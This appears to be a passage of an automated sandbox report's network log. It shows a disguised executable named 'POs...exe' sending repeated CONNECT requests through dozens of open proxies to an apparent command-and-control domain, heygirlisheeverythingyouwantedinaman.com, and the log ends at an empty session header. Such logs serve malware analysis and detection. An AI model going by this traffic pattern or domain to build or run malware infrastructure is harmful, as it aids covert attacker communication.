1505	192.168.2.11	50433	124.198.74.90	26976	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.454859018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.523482084 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.11	54035	192.252.215.5	16137	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.455179930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.11	54779	185.220.226.128	808	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.455884933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.11	54785	27.96.235.171	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.455888033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.11	54756	51.161.131.84	19987	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.456007957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.11	54742	13.234.24.116	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.456501007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.854729891 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:26 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.11	54783	125.122.26.242	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.456568956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.11	54782	47.243.114.192	8180	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.462244987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.11	54739	103.148.51.19	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.462382078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.11	54688	117.160.250.130	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.462390900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.041731119 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.11	54794	185.162.230.201	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.462670088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.617153883 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.11	54795	104.21.85.109	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.462851048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.616996050 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.11	54788	147.75.34.86	10008	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.462970018 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:26.764693975 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.11	54781	45.120.178.197	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.463419914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.11	54807	104.23.107.172	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.463798046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.618274927 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.11	54755	202.166.219.80	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.466487885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.11	54816	104.17.248.164	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.466866970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.622075081 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.11	54780	103.127.1.130	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.473165035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1523	192.168.2.11	54784	27.76.193.213	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.477941990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.11	50579	45.81.232.17	23711	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.494800091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.672902107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.688792944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.782783031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.782243013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:02.782206059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:14.875981092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:38.875987053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.11	50511	94.23.220.136	25256	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.501507998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.672943115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.688822031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.782788038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.782242060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.11	53346	122.8.149.77	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.501708031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.641979933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.642097950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.642142057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.710374117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:02.783325911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:14.782197952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:38.782409906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.797698975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.11	54835	104.20.67.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.502420902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.656569004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.11	54836	45.14.174.180	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.502942085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.657150030 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
